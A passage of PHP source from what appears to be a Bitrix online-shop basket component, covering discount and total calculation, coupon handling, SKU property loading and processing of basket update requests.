			}
			unset($data);

			if (!$found)
			{
				continue;
			}

			$basketItem = $basket->getItemByBasketCode($basketCode);
			if (!$basketItem || $basketItem->getField('MODULE') != 'catalog')
			{
				continue;
			}

			$items[] = array(
				'PRODUCT_ID' => $basketItem->getProductId(),
				'VALUE_PERCENT' => '100',
				'MODULE' => 'catalog',
			);
		}
		unset($priceData);

		return $items;
	}

	protected function getDiscountData(Sale\BasketBase $basket)
	{
		/** @var Sale\Order $order */
		$order = $basket->getOrder();
		$calcResults = $order->getDiscount()->getApplyResult(true);

		$appliedDiscounts = array();

		foreach ($calcResults['DISCOUNT_LIST'] as $discountData)
		{
			if (isset($calcResults['FULL_DISCOUNT_LIST'][$discountData['REAL_DISCOUNT_ID']]))
			{
				$appliedDiscounts[$discountData['REAL_DISCOUNT_ID']] = $calcResults['FULL_DISCOUNT_LIST'][$discountData['REAL_DISCOUNT_ID']];

				if (empty($appliedDiscounts[$discountData['REAL_DISCOUNT_ID']]['RESULT']['BASKET']))
				{
					$appliedDiscounts[$discountData['REAL_DISCOUNT_ID']]['RESULT']['BASKET'] = array();
				}

				$appliedDiscounts[$discountData['REAL_DISCOUNT_ID']]['RESULT']['BASKET'] = array_merge(
					$appliedDiscounts[$discountData['REAL_DISCOUNT_ID']]['RESULT']['BASKET'],
					$this->getAffectedReformattedBasketItemsInDiscount($basket, $discountData, $calcResults)
				);
			}
		}

		return [$calcResults['FULL_DISCOUNT_LIST'], $appliedDiscounts];
	}

	protected function getBasketTotal()
	{
		$result = array();

		if ($this->isFastLoadRequest())
		{
			$basketPrice = 0;
			$basketWeight = 0;
			$basketBasePrice = 0;
			$basketVatSum = 0;

			foreach ($this->basketItems as $basketItem)
			{
				if ($basketItem['CAN_BUY'] === 'Y' && $basketItem['DELAY'] !== 'Y')
				{
					$basketPrice += $basketItem['SUM_VALUE'];
					$basketWeight += $basketItem['WEIGHT'] * $basketItem['QUANTITY'];
					$basketBasePrice += $basketItem['BASE_PRICE'] * $basketItem['QUANTITY'];
					$basketVatSum += $basketItem['VAT_VALUE'] * $basketItem['QUANTITY'];
				}
			}
		}
		else
		{
			$basket = $this->getBasketStorage()->getOrderableBasket();
			$this->initializeBasketOrderIfNotExists($basket);

			$basketPrice = $basket->getPrice();
			$basketWeight = $basket->getWeight();
			$basketBasePrice = $basket->getBasePrice();
			$basketVatSum = $basket->getVatSum();

			list($result['FULL_DISCOUNT_LIST'], $result['APPLIED_DISCOUNT_LIST']) = $this->getDiscountData($basket);
		}

		$siteCurrency = Sale\Internals\SiteCurrencyTable::getSiteCurrency($this->getSiteId());
		$result['CURRENCY'] = $siteCurrency;

		$result['allSum'] = PriceMaths::roundPrecision($basketPrice);
		$result['allSum_FORMATED'] = CCurrencyLang::CurrencyFormat($result['allSum'], $siteCurrency, true);

		$result['allWeight'] = $basketWeight;
		$result['allWeight_FORMATED'] = roundEx($basketWeight / $this->weightKoef, SALE_WEIGHT_PRECISION).' '.$this->weightUnit;

		$result['PRICE_WITHOUT_DISCOUNT'] = CCurrencyLang::CurrencyFormat($basketBasePrice, $siteCurrency, true);
		$result['DISCOUNT_PRICE_ALL'] = PriceMaths::roundPrecision($basketBasePrice - $basketPrice);
		$result['DISCOUNT_PRICE_FORMATED'] = $result['DISCOUNT_PRICE_ALL_FORMATED'] = CCurrencyLang::CurrencyFormat($result['DISCOUNT_PRICE_ALL'], $siteCurrency, true);

		if ($this->priceVatShowValue === 'Y')
		{
			$result['allVATSum'] = PriceMaths::roundPrecision($basketVatSum);
			$result['allVATSum_FORMATED'] = CCurrencyLang::CurrencyFormat($result['allVATSum'], $siteCurrency, true);
			$result['allSum_wVAT_FORMATED'] = CCurrencyLang::CurrencyFormat($result['allSum'] - $result['allVATSum'], $siteCurrency, true);
		}

		return $result;
	}

	protected function getCouponInfo()
	{
		$result = array(
			'COUPON' => '',
			'COUPON_LIST' => array()
		);

		if ($this->hideCoupon != 'Y')
		{
			$coupons = DiscountCouponsManager::get(true, array(), true, true);
			if (!empty($coupons))
			{
				foreach ($coupons as &$coupon)
				{
					if ($result['COUPON'] == '')
					{
						$result['COUPON'] = $coupon['COUPON'];
					}

					if ($coupon['STATUS'] == DiscountCouponsManager::STATUS_NOT_FOUND || $coupon['STATUS'] == DiscountCouponsManager::STATUS_FREEZE)
					{
						$coupon['JS_STATUS'] = 'BAD';
					}
					elseif ($coupon['STATUS'] == DiscountCouponsManager::STATUS_NOT_APPLYED || $coupon['STATUS'] == DiscountCouponsManager::STATUS_ENTERED)
					{
						$coupon['JS_STATUS'] = 'ENTERED';

						if ($coupon['STATUS'] == DiscountCouponsManager::STATUS_NOT_APPLYED)
						{
							$coupon['STATUS_TEXT'] = DiscountCouponsManager::getCheckCodeMessage(DiscountCouponsManager::COUPON_CHECK_OK);
							$coupon['CHECK_CODE_TEXT'] = array($coupon['STATUS_TEXT']);
						}
					}
					else
					{
						$coupon['JS_STATUS'] = 'APPLYED';
					}

					$coupon['JS_CHECK_CODE'] = '';

					if (isset($coupon['CHECK_CODE_TEXT']))
					{
						$coupon['JS_CHECK_CODE'] = is_array($coupon['CHECK_CODE_TEXT'])
							? implode('<br>', $coupon['CHECK_CODE_TEXT'])
							: $coupon['CHECK_CODE_TEXT'];
					}

					$result['COUPON_LIST'][] = $coupon;
				}

				unset($coupon);
			}

			unset($coupons);
		}

		return $result;
	}

	protected function getPrepayment()
	{
		global $APPLICATION;

		$result = array();
		$prePayablePs = array();
		$personTypes = array_keys(Sale\PersonType::load($this->getSiteId()));

		if (!empty($personTypes))
		{
			$paySysActionIterator = Sale\Paysystem\Manager::getList(array(
				'select' => array(
					'ID', 'PAY_SYSTEM_ID', 'PERSON_TYPE_ID', 'NAME', 'ACTION_FILE', 'RESULT_FILE',
					'NEW_WINDOW', 'PARAMS', 'ENCODING', 'LOGOTIP'
				),
				'filter'  => array(
					'ACTIVE' => 'Y',
					'HAVE_PREPAY' => 'Y'
				)
			));
			$helper = Main\Application::getConnection()->getSqlHelper();

			while ($paySysAction = $paySysActionIterator->fetch())
			{
				$dbRestriction = Sale\Internals\ServiceRestrictionTable::getList(array(
					'select' => array('PARAMS'),
					'filter' => array(
						'SERVICE_ID' => $paySysAction['ID'],
						'CLASS_NAME' => $helper->forSql('\Bitrix\Sale\Services\PaySystem\Restrictions\PersonType'),
						'SERVICE_TYPE' => Sale\Services\PaySystem\Restrictions\Manager::SERVICE_TYPE_PAYMENT
					)
				));

				if ($restriction = $dbRestriction->fetch())
				{
					if (array_intersect($personTypes, $restriction['PARAMS']['PERSON_TYPE_ID']))
					{
						$prePayablePs = $paySysAction;
						break;
					}
				}
				else
				{
					$prePayablePs = $paySysAction;
					break;
				}
			}

			if ($prePayablePs)
			{
				// compatibility
				CSalePaySystemAction::InitParamArrays(false, false, $paySysAction['PARAMS']);

				$psPreAction = new Sale\PaySystem\Service($prePayablePs);
				if ($psPreAction->isPrePayable())
				{
					$psPreAction->initPrePayment(null, $this->request);

					$basket = $this->getBasketStorage()->getBasket();
					$basketItems = array();
					/** @var Sale\BasketItem $item */
					foreach ($basket as $key => $item)
					{
						if ($item->canBuy() && !$item->isDelay())
						{
							$basketItems[$key]['NAME'] = $item->getField('NAME');
							$basketItems[$key]['PRICE'] = $item->getPrice();
							$basketItems[$key]['QUANTITY'] = $item->getQuantity();
						}
					}

					$orderData = array(
						'PATH_TO_ORDER' => $this->pathToOrder,
						'AMOUNT' => $basket->getPrice(),
						'BASKET_ITEMS' => $basketItems
					);

					if (!$psPreAction->basketButtonAction($orderData))
					{
						if ($e = $APPLICATION->GetException())
						{
							$this->errorCollection->setError(new Error($e->GetString()));
						}
					}

					ob_start();
					$psPreAction->showTemplate(null, 'prepay_button');
					$result['PREPAY_BUTTON'] = ob_get_contents();
					ob_end_clean();
				}
			}
		}

		return $result;
	}

	// legacy method
	public function getSkuPropsData($basketItems, $parents, $arSkuProps = array())
	{
		$arRes = array();
		$arSkuIblockID = array();

		if (empty($parents) || !is_array($parents))
			return $basketItems;

		if (empty($arSkuProps) || empty($basketItems))
			return $basketItems;

		// load offers
		$itemIndex = array();
		$itemIds = array();
		$productIds = array();

		$oldSkuData = array();

		$updateBasketProps = array();

		foreach ($basketItems as $index => $item)
		{
			if (!isset($item['MODULE']) || $item['MODULE'] != 'catalog')
				continue;

			if (!isset($parents[$item['PRODUCT_ID']]))
				continue;

			$id = $item['PRODUCT_ID'];
			$itemIds[$id] = $id;

			if (!isset($itemIndex[$id]))
			{
				$itemIndex[$id] = array();
			}

			$itemIndex[$id][] = $index;
			$productIds[$parents[$id]['ID']] = $parents[$id]['ID'];

			$needSkuProps = static::getMissingPropertyCodes($item['PROPS'], $arSkuProps);
			if (!empty($needSkuProps))
			{
				if (!isset($updateBasketProps[$id]))
					$updateBasketProps[$id] = array();
				$updateBasketProps[$id][$item['ID']] = $needSkuProps;
			}

			unset($needSkuProps, $id);
		}

		unset($index, $item);

		$offerList = CCatalogSku::getOffersList(
			$productIds,
			0,
			array(
				'ACTIVE' => 'Y',
				'ACTIVE_DATE' => 'Y',
				'CATALOG_AVAILABLE' => 'Y',
				'CHECK_PERMISSIONS' => 'Y',
				'MIN_PERMISSION' => 'R'
			),
			array('ID', 'IBLOCK_ID'),
			array('CODE' => $arSkuProps)
		);

		if (!empty($offerList))
		{
			foreach (array_keys($offerList) as $index)
			{
				$oldSkuData[$index] = array();
				foreach (array_keys($offerList[$index]) as $offerId)
				{
					unset($itemIds[$offerId]);

					$offer = $offerList[$index][$offerId];
					$offerList[$index][$offerId] = array(
						'ID' => $offer['ID'],
						'IBLOCK_ID' => $offer['IBLOCK_ID'],
						'PROPERTIES' => $offer['PROPERTIES'],
						'CAN_SELECTED' => 'Y'
					);

					if (!empty($offer['PROPERTIES']))
					{
						$currentSkuPropValues = array();
						foreach ($offer['PROPERTIES'] as $propName => $property)
						{
							$property['VALUE'] = (string)$property['VALUE'];
							if ($property['VALUE'] == '')
								continue;

							$currentSkuPropValues[$propName] = array(
								'~CODE' => $property['~CODE'],
								'CODE' => $property['CODE'],
								'~NAME' => $property['~NAME'],
								'NAME' => $property['NAME'],
								'~VALUE' => $property['~VALUE'],
								'VALUE' => $property['VALUE'],
								'~SORT' => $property['~SORT'],
								'SORT' => $property['SORT'],
							);
						}
						unset($propName, $property);

						if (isset($updateBasketProps[$offerId]) && !empty($currentSkuPropValues))
						{
							foreach ($updateBasketProps[$offerId] as $basketId => $updateCodes)
							{
								$basketKey = static::getBasketKeyById($basketItems, $basketId);

								if ($basketKey === false)
									continue;

								static::fillMissingProperties($basketItems[$basketKey]['PROPS'], $updateCodes, $currentSkuPropValues);
								unset($basketKey);
							}
							unset($basketId, $updateCodes);
						}
						unset($currentSkuPropValues);
					}
					unset($offer);
				}
				unset($offerId);
			}
			unset($index);
		}

		$absentOffers = array();
		if (!empty($itemIds))
		{
			$absentProducts = array();
			foreach ($itemIds as $id)
			{
				$absentProducts[$parents[$id]['ID']] = $parents[$id]['ID'];
			}
			unset($id);

			$absentOffers = CCatalogSku::getOffersList(
				$absentProducts,
				0,
				array('ID' => $itemIds),
				array('ID', 'IBLOCK_ID'),
				array('CODE' => $arSkuProps)
			);
			if (!empty($absentOffers))
			{
				foreach (array_keys($absentOffers) as $index)
				{
					foreach (array_keys($absentOffers[$index]) as $offerId)
					{
						unset($itemIds[$offerId]);
						$absentOffers[$index][$offerId]['CAN_SELECTED'] = 'N';
					}
				}
				unset($index);
			}
			unset($absentProducts);
		}

		if (!empty($itemIds))
		{
			foreach ($itemIds as $id)
			{
				foreach ($itemIndex[$id] as $index)
				{
					unset($basketItems[$index]);
				}

				unset($index);
			}

			unset($id);
		}

		if (empty($basketItems))
			return $basketItems;

		// load offers end

		$skuPropKeys = (!empty($arSkuProps) ? array_fill_keys($arSkuProps, true) : array());

		foreach ($basketItems as &$item)
		{
			if (!isset($item['MODULE']) || $item['MODULE'] != 'catalog')
				continue;

			if (!isset($parents[$item['PRODUCT_ID']]))
				continue;

			$arSKU = CCatalogSku::GetInfoByProductIBlock($parents[$item['PRODUCT_ID']]['IBLOCK_ID']);
			if (empty($arSKU))
				continue;

			if (!isset($arSkuIblockID[$arSKU['IBLOCK_ID']]))
				$arSkuIblockID[$arSKU['IBLOCK_ID']] = $arSKU;

			$item['IBLOCK_ID'] = $arSKU['IBLOCK_ID'];
			$item['SKU_PROPERTY_ID'] = $arSKU['SKU_PROPERTY_ID'];
		}
		unset($item);

		foreach ($arSkuIblockID as $skuIblockID => $arSKU)
		{
			// possible props values
			$iterator = Iblock\PropertyTable::getList(array(
				'select' => array('*'),
				'filter' => array(
					'=IBLOCK_ID' => $skuIblockID, '=ACTIVE' => 'Y', '=MULTIPLE' => 'N',
					'!=ID' => $arSKU['SKU_PROPERTY_ID'],
					'@PROPERTY_TYPE' => array(
						Iblock\PropertyTable::TYPE_ELEMENT,
						Iblock\PropertyTable::TYPE_LIST,
						Iblock\PropertyTable::TYPE_STRING
					),
				),
				'order' => array('SORT' => 'ASC', 'ID' => 'ASC')
			));
			while ($arProp = $iterator->fetch())
			{
				$arProp['CODE'] = (string)$arProp['CODE'];
				if ($arProp['CODE'] === '')
					$arProp['CODE'] = $arProp['ID'];
				if (!isset($skuPropKeys[$arProp['CODE']]))
					continue;

				$arValues = array();

				switch ($arProp['PROPERTY_TYPE'])
				{
					case Iblock\PropertyTable::TYPE_LIST:
						$rsPropEnums = CIBlockProperty::GetPropertyEnum($arProp['ID'], array('SORT' => 'ASC', 'VALUE' => 'ASC'));
						while ($arEnum = $rsPropEnums->Fetch())
						{
							$arValues['n'.$arEnum['ID']] = array(
								'ID' => $arEnum['ID'],
								'NAME' => $arEnum['VALUE'],
								'SORT' => (int)$arEnum['SORT'],
								'PICT' => false
							);
						}
						unset($arEnum, $rsPropEnums);
						break;
					case Iblock\PropertyTable::TYPE_ELEMENT:
						$rsPropEnums = CIBlockElement::GetList(
							array('SORT' => 'ASC', 'NAME' => 'ASC'),
							array('IBLOCK_ID' => $arProp['LINK_IBLOCK_ID'], 'ACTIVE' => 'Y'),
							false,
							false,
							array('ID', 'NAME', 'PREVIEW_PICTURE')
						);
						while ($arEnum = $rsPropEnums->Fetch())
						{
							$arValues['n'.$arEnum['ID']] = array(
								'ID' => $arEnum['ID'],
								'NAME' => $arEnum['NAME'],
								'SORT' => (int)$arEnum['SORT'],
								'FILE' => $arEnum['PREVIEW_PICTURE'],
								'PICT' => false,
								'XML_ID' => $arEnum['NAME']
							);
						}
						unset($arEnum, $rsPropEnums);
						break;
					case Iblock\PropertyTable::TYPE_STRING:
						$arProp['USER_TYPE'] = (string)$arProp['USER_TYPE'];
						if ($arProp['USER_TYPE'] == 'directory' && $arProp['USER_TYPE_SETTINGS'] !== null)
						{
							if (!is_array($arProp['USER_TYPE_SETTINGS']))
								$arProp['USER_TYPE_SETTINGS'] = unserialize($arProp['USER_TYPE_SETTINGS']);
							if (self::$highLoadInclude === null)
								self::$highLoadInclude = Loader::includeModule('highloadblock');
							if (self::$highLoadInclude)
							{
								$hlblock = HL\HighloadBlockTable::getList(array(
									'filter' => array('=TABLE_NAME' => $arProp['USER_TYPE_SETTINGS']['TABLE_NAME'])
								))->fetch();
								if ($hlblock)
								{
									$entity = HL\HighloadBlockTable::compileEntity($hlblock);
									$entityDataClass = $entity->getDataClass();
									$fieldsList = $entity->getFields();
									$dataOrder = array();
									if (isset($fieldsList['UF_SORT']))
										$dataOrder['UF_SORT'] = 'ASC';
									$dataOrder['UF_NAME'] = 'ASC';

									$rsData = $entityDataClass::getList(array(
										'order' => $dataOrder
									));
									while ($arData = $rsData->fetch())
									{
										$arValues['n'.$arData['ID']] = array(
											'ID' => $arData['ID'],
											'NAME' => $arData['UF_NAME'],
											'SORT' => (int)$arData['UF_SORT'],
											'FILE' => $arData['UF_FILE'],
											'PICT' => false,
											'XML_ID' => $arData['UF_XML_ID']
										);
									}
								}
							}
						}
						break;
				}
				if (!empty($arValues) && is_array($arValues))
				{
					$arRes[$skuIblockID][$arProp['ID']] = array(
						'ID' => $arProp['ID'],
						'CODE' => $arProp['CODE'],
						'NAME' => $arProp['NAME'],
						'TYPE' => $arProp['PROPERTY_TYPE'],
						'USER_TYPE' => $arProp['USER_TYPE'],
						'VALUES' => $arValues
					);
				}
			}
			unset($arProp, $iterator);
		}

		foreach ($basketItems as &$item)
		{
			if (!isset($item['MODULE']) || $item['MODULE'] != 'catalog')
				continue;

			if (isset($item['IBLOCK_ID']) && (int)$item['IBLOCK_ID'] > 0 && isset($arRes[$item['IBLOCK_ID']]))
			{
				$arUsedValues = array();
				$arTmpRes = array();

				$id = $item['PRODUCT_ID'];
				if (!isset($parents[$id]))
					continue;

				$parentId = $parents[$id]['ID'];
				if (empty($offerList[$parentId][$id]) && empty($absentOffers[$parentId][$id]))
					continue;

				$currentItemProperties = (!empty($offerList[$parentId][$id])
					? $offerList[$parentId][$id]['PROPERTIES']
					: $absentOffers[$parentId][$id]['PROPERTIES']
				);

				foreach ($currentItemProperties as $code => $data)
				{
					$data['VALUE'] = (string)$data['VALUE'];
					if ($data['VALUE'] == '')
						$data['VALUE'] = '-';
					$arUsedValues[$code] = array($data['VALUE']);
				}
				unset($code, $data);

				if (!empty($offerList[$parentId]))
				{
					$propertyFilter = array();
					$idList = array_keys($offerList[$parentId]);
					foreach ($arRes[$item['IBLOCK_ID']] as $property)
					{
						$propertyCode = $property['CODE'];
						foreach ($idList as $offerId)
						{
							if ($offerId == $id)
								continue;
							$check = true;
							if (!empty($propertyFilter))
							{
								foreach ($propertyFilter as $code => $value)
								{
									if ($offerList[$parentId][$offerId]['PROPERTIES'][$code]['VALUE'] != $value)
									{
										$check = false;
										break;
									}
								}
								unset($code, $value);
							}
							if (!$check)
								continue;
							$value = (string)$offerList[$parentId][$offerId]['PROPERTIES'][$propertyCode]['VALUE'];
							if ($value == '')
								$value = '-';
							if (!in_array($value, $arUsedValues[$propertyCode]))
								$arUsedValues[$propertyCode][] = $value;
							unset($value);
						}
						unset($offerId);
						$propertyFilter[$propertyCode] = $currentItemProperties[$propertyCode]['VALUE'];
					}
					unset($property);
					unset($propertyFilter);
				}

				if (!empty($arUsedValues))
				{
					$clearValues = array();
					foreach (array_keys($arUsedValues) as $code)
					{
						if (count($arUsedValues[$code]) == 1 && $arUsedValues[$code][0] == '-')
							continue;
						$clearValues[$code] = $arUsedValues[$code];
					}
					$arUsedValues = $clearValues;
					unset($clearValues);
				}

				if (!empty($arUsedValues))
				{
					// add only used values to the item SKU_DATA
					foreach ($arRes[$item['IBLOCK_ID']] as $propId => $arProp)
					{
						if (empty($arUsedValues[$arProp['CODE']]))
							continue;

						$arTmpRes['n'.$propId] = array();
						foreach ($arProp['VALUES'] as $valId => $arValue)
						{
							// properties of various type have different values in the used values data
							if (
								(
									$arProp['TYPE'] == 'L'
									&& (
										in_array($arValue['NAME'], $arUsedValues[$arProp['CODE']])
										|| in_array(htmlspecialcharsEx($arValue['NAME']), $arUsedValues[$arProp['CODE']])
									)
								)
								|| ($arProp['TYPE'] == 'E' && in_array($arValue['ID'], $arUsedValues[$arProp['CODE']]))
								|| ($arProp['TYPE'] == 'S' && in_array($arValue['XML_ID'], $arUsedValues[$arProp['CODE']]))
							)
							{
								if ($arProp['TYPE'] == 'S' || $arProp['TYPE'] == 'E')
								{
									if (!empty($arValue['FILE']))
									{
										$arTmpFile = CFile::GetFileArray($arValue['FILE']);
										if (!empty($arTmpFile))
										{
											$tmpImg = CFile::ResizeImageGet(
												$arTmpFile,
												array('width' => self::IMAGE_SIZE_STANDARD, 'height' => self::IMAGE_SIZE_STANDARD),
												BX_RESIZE_IMAGE_PROPORTIONAL, false, false
											);
											$arValue['PICT']['SRC'] = $tmpImg['src'];
										}
									}
								}

								$arTmpRes['n'.$propId]["ID"] = $arProp["ID"];
								$arTmpRes['n'.$propId]["CODE"] = $arProp["CODE"];
								$arTmpRes['n'.$propId]["TYPE"] = $arProp["TYPE"];
								$arTmpRes['n'.$propId]["USER_TYPE"] = $arProp["USER_TYPE"];
								$arTmpRes['n'.$propId]["NAME"] = $arProp["NAME"];
								$arTmpRes['n'.$propId]["VALUES"][$valId] = $arValue;
							}
						}
					}
				}

				$item['SKU_DATA'] = $arTmpRes;
			}
		}
		unset($item);

		return $basketItems;
	}

	// legacy method
	public function getAvailableQuantity($basketItems)
	{
		if (empty($basketItems) || !is_array($basketItems))
		{
			return array();
		}

		if (!self::includeCatalog())
		{
			return $basketItems;
		}

		$elementIds = array();
		$productMap = array();

		foreach ($basketItems as $key => $item)
		{
			$elementIds[$item['PRODUCT_ID']] = $item['PRODUCT_ID'];

			if (!isset($productMap[$item['PRODUCT_ID']]))
			{
				$productMap[$item['PRODUCT_ID']] = array();
			}

			$productMap[$item['PRODUCT_ID']][] = $key;
		}

		unset($key, $item);

		if (!empty($elementIds))
		{
			sort($elementIds);
			$productIterator = Catalog\ProductTable::getList(array(
				'select' => array('ID', 'QUANTITY', 'QUANTITY_TRACE', 'CAN_BUY_ZERO'),
				'filter' => array('@ID' => $elementIds)
			));
			while ($product = $productIterator->fetch())
			{
				if (!isset($productMap[$product['ID']]))
					continue;

				$check = ($product['QUANTITY_TRACE'] == 'Y' && $product['CAN_BUY_ZERO'] == 'N' ? 'Y' : 'N');
				foreach ($productMap[$product['ID']] as $key)
				{
					$basketItems[$key]['AVAILABLE_QUANTITY'] = $product['QUANTITY'];
					$basketItems[$key]['CHECK_MAX_QUANTITY'] = $check;
				}

				unset($key, $check);
			}

			unset($product, $productIterator);
		}

		unset($productMap, $elementIds);

		return $basketItems;
	}

	protected function checkCoupon($postList)
	{
		$couponChanged = false;

		if (empty($postList))
		{
			return $couponChanged;
		}

		if (!empty($postList['delete_coupon']))
		{
			if (!is_array($postList['delete_coupon']))
			{
				$postList['delete_coupon'] = array($postList['delete_coupon']);
			}

			foreach ($postList['delete_coupon'] as $coupon)
			{
				$couponChanged = DiscountCouponsManager::delete($coupon) || $couponChanged;
			}
		}
		else
		{
			list($found, $coupon) = $this->getCouponFromRequest($postList);

			if ($found)
			{
				if (!empty($coupon))
				{
					$couponChanged = DiscountCouponsManager::add($coupon);
				}
				else
				{
					DiscountCouponsManager::clear(true);
				}
			}
		}

		return $couponChanged;
	}

	protected function getCouponFromRequest(array $postList)
	{
		$found = false;
		$coupon = '';

		if (isset($postList['coupon']))
		{
			$found = true;
			$coupon = trim((string)$postList['coupon']);
		}
		elseif (isset($postList['COUPON']))
		{
			$found = true;
			$coupon = trim((string)$postList['COUPON']);
		}

		return array($found, $coupon);
	}

	protected function getDefaultAjaxAnswer()
	{
		return array(
			'BASKET_REFRESHED' => false,
			'CHANGED_BASKET_ITEMS' => array(),
			'RESTORED_BASKET_ITEMS' => array(),
			'DELETED_BASKET_ITEMS' => array(),
			'MERGED_BASKET_ITEMS' => array()
		);
	}

	// legacy method
	public function recalculateBasket($postList)
	{
		$result = $this->getDefaultAjaxAnswer();

		if (!empty($postList))
		{
			if ($this->hideCoupon !== 'Y')
			{
				$result['VALID_COUPON'] = $this->checkCoupon($postList);
			}

			$itemsActionData = $this->extractItemsActionData($postList);

			if (!empty($itemsActionData))
			{
				$itemsRatioData = $this->getBasketItemsRatios($itemsActionData);

				foreach ($itemsActionData as $id => $itemActionData)
				{
					if (!empty($itemActionData['POST_RESTORE']) && $this->arParams['SHOW_RESTORE'] === 'Y')
					{
						$this->processRestore($result, $id, $itemActionData['POST_RESTORE']);
					}
					else
					{
						$basket = $this->getBasketStorage()->getBasket();
						$item = $basket->getItemByBasketCode($id);

						if ($item)
						{
							if (!empty($itemActionData['POST_DELETE']) && in_array('DELETE', $this->columns))
							{
								$this->processDelete($result, $item);
							}
							elseif (!empty($itemActionData['POST_OFFER']))
							{
								$this->processChangeOffer($result, $id, $itemActionData['POST_OFFER']);
							}
							elseif ($item->canBuy())
							{
								if (
									isset($itemActionData['POST_QUANTITY'])
									&& !empty($itemsRatioData[$id])
									&& $item->getQuantity() != $itemActionData['POST_QUANTITY']
									&& in_array('QUANTITY', $this->columns)
								)
								{
									$this->processChangeQuantity($result, $itemsRatioData[$id], $itemActionData['POST_QUANTITY']);
								}

								if (
									isset($itemActionData['POST_DELAY'])
									&& $item->getField('DELAY') !== $itemActionData['POST_DELAY']
									&& ($itemActionData['POST_DELAY'] === 'N' || in_array('DELAY', $this->columns))
								)
								{
									$this->processDelay($result, $item, $itemActionData['POST_DELAY']);
								}

								if (!empty($itemActionData['POST_MERGE_OFFER']))
								{
									$this->processMergeOffer($result, $id);
								}
							}
						}
					}
				}

				$result['CHANGED_BASKET_ITEMS'] = array_keys($itemsActionData);
			}
		}

		return $result;
	}

	protected function extractItemsActionData($postList)
	{
		$itemsData = array();

		foreach ($postList as $key => $value)
		{
			if (strpos($key, 'QUANTITY_') !== false)
			{
				$id = (int)substr($key, 9);

				if (!isset($itemsData[$id]))
				{
					$itemsData[$id] = array();
				}

				$itemsData[$id]['POST_QUANTITY'] = $value;
			}
			elseif (strpos($key, 'DELETE_') !== false)
			{
				$id = (int)substr($key, 7);

				if (!isset($itemsData[$id]))
				{
					$itemsData[$id] = array();
				}

				$itemsData[$id]['POST_DELETE'] = $value === 'Y';
			}
			elseif (strpos($key, 'RESTORE_') !== false)
			{
				$id = (int)substr($key, 8);

				if (!isset($itemsData[$id]))
				{
					$itemsData[$id] = array();
				}

				$itemsData[$id]['POST_RESTORE'] = $value;
			}
			elseif (strpos($key, 'DELAY_') !== false)
			{
				$id = (int)substr($key, 6);

				if (!isset($itemsData[$id]))
				{
					$itemsData[$id] = array();
				}

				$itemsData[$id]['POST_DELAY'] = $value === 'Y' ? 'Y' : 'N';
			}
			elseif (strpos($key, 'MERGE_OFFER_') !== false)
			{
				$id = (int)substr($key, 12);

				if (!isset($itemsData[$id]))
				{
					$itemsData[$id] = array();
				}

				$itemsData[$id]['POST_MERGE_OFFER'] = $value === 'Y';
			}
			elseif (strpos($key, 'OFFER_') !== false)
			{
				$id = (int)substr($key, 6);

				if (!isset($itemsData[$id]))
				{
					$itemsData[$id] = array();
				}

				$itemsData[$id]['POST_OFFER'] = $value;
			}
		}

		return $itemsData;
	}

	protected function getBasketItemsRatios($actionData)
	{
		$ratioData = array();

		if (!empty($actionData) && is_array($actionData))
		{
			$basket = $this->getBasketStorage()->getBasket();

			foreach ($actionData as $id => $data)
			{
				if (!empty($data['POST_QUANTITY']))
				{
					$basketItem = $basket->getItemByBasketCode($id);
					if ($basketItem)
					{
						$ratioData[$id] = $basketItem->getFieldValues();
					}
				}
			}

			if (!empty($ratioData))
			{
				$ratioData = getRatio($ratioData);
			}
		}

		return $ratioData;
	}

	protected function processRestore(&$result, $id, $restoreFields)
	{
		$res = $this->addProductToBasket($restoreFields);
		if ($res->isSuccess())
		{
			$resultData = $res->getData();
			if (!empty($resultData['BASKET_ITEM']))
			{
				$result['RESTORED_BASKET_ITEMS'][$id] = $resultData['BASKET_ITEM'];
			}
		}
		else
		{
			$this->addErrors($res->getErrors(), $id);
		}
	}

	protected function processDelete(&$result, Sale\BasketItemBase $item)
	{
		$res = $item->delete();
		if ($res->isSuccess())
		{
			$result['DELETE_ORIGINAL'] = 'Y';
			$result['DELETED_BASKET_ITEMS'][] = $item->getId();

			// compatibility
			$userId = $this->getUserId();

			if ($item->getField('SUBSCRIBE') === 'Y' && is_array($_SESSION['NOTIFY_PRODUCT'][$userId]))
			{
				unset($_SESSION['NOTIFY_PRODUCT'][$userId][$item->getProductId()]);
			}

			$_SESSION['SALE_BASKET_NUM_PRODUCTS'][$this->getSiteId()]--;
		}
		else
		{
			$this->addErrors($res->getErrors(), $item->getId());
		}
	}

	protected function processChangeQuantity(&$result, $itemRatioData, $quantity)
	{
		$res = $this->checkQuantity($itemRatioData, $quantity);
		if (!empty($res['ERRORS']))
		{
			$this->addErrors($res['ERRORS'], $itemRatioData['ID']);
		}
	}

	protected function processChangeOffer(&$result, $id, $offerProps)
	{
		$res = $this->changeProductOfferWithoutSave($id, self::SEARCH_OFFER_BY_PROPERTIES, $offerProps, false);
		if (!$res->isSuccess())
		{
			$this->addErrors($res->getErrors(), $id);
		}
	}

	protected function processMergeOffer(&$result, $id)
	{
		$res = $this->mergeProductOffers($id);
		if ($res->isSuccess())
		{
			$mergedBasketItems = $res->get('MERGED_BASKET_ITEMS');
			if (!empty($mergedBasketItems))
			{
				$result['MERGED_BASKET_ITEMS'] = array_merge($result['MERGED_BASKET_ITEMS'], $mergedBasketItems);
			}
		}
		else
		{
			$this->addErrors($res->getErrors(), $id);
		}
	}

	protected function processDelay(&$result, Sale\BasketItemBase $item, $delay)
	{
		$res = $item->setField('DELAY', $delay);
		if ($res->isSuccess())
		{
			if ($delay === 'Y')
			{
				$_SESSION['SALE_BASKET_NUM_PRODUCTS'][$this->getSiteId()]--;
			}
		}
		else
		{
			$this->addErrors($res->getErrors(), $item->getId());
		}
	}

	public function checkQuantity($basketItemData, $desiredQuantity)
	{
		$result = array();

		if (
			$this->quantityFloat === 'Y'
			|| (
				isset($basketItemData['MEASURE_RATIO'])
				&& (float)$basketItemData['MEASURE_RATIO'] > 0
				&& (float)$basketItemData['MEASURE_RATIO'] != (int)$basketItemData['MEASURE_RATIO']
			)
		)
		{
			$isFloatQuantity = true;
		}
		else
		{
			$isFloatQuantity = false;
		}

		$quantity = $isFloatQuantity ? (float)$desiredQuantity : (int)$desiredQuantity;
		if ($basketItemData['QUANTITY'] != $quantity)
		{
			$basket = $this->getBasketStorage()->getBasket();
			$basketItem = $basket->getItemByBasketCode($basketItemData['ID']);
			$res = $basketItem->setField('QUANTITY', $desiredQuantity);
			if (!$res->isSuccess())
			{
				$errorMessages = $res->getErrorMessages();
				$result['ERROR'] = reset($errorMessages);
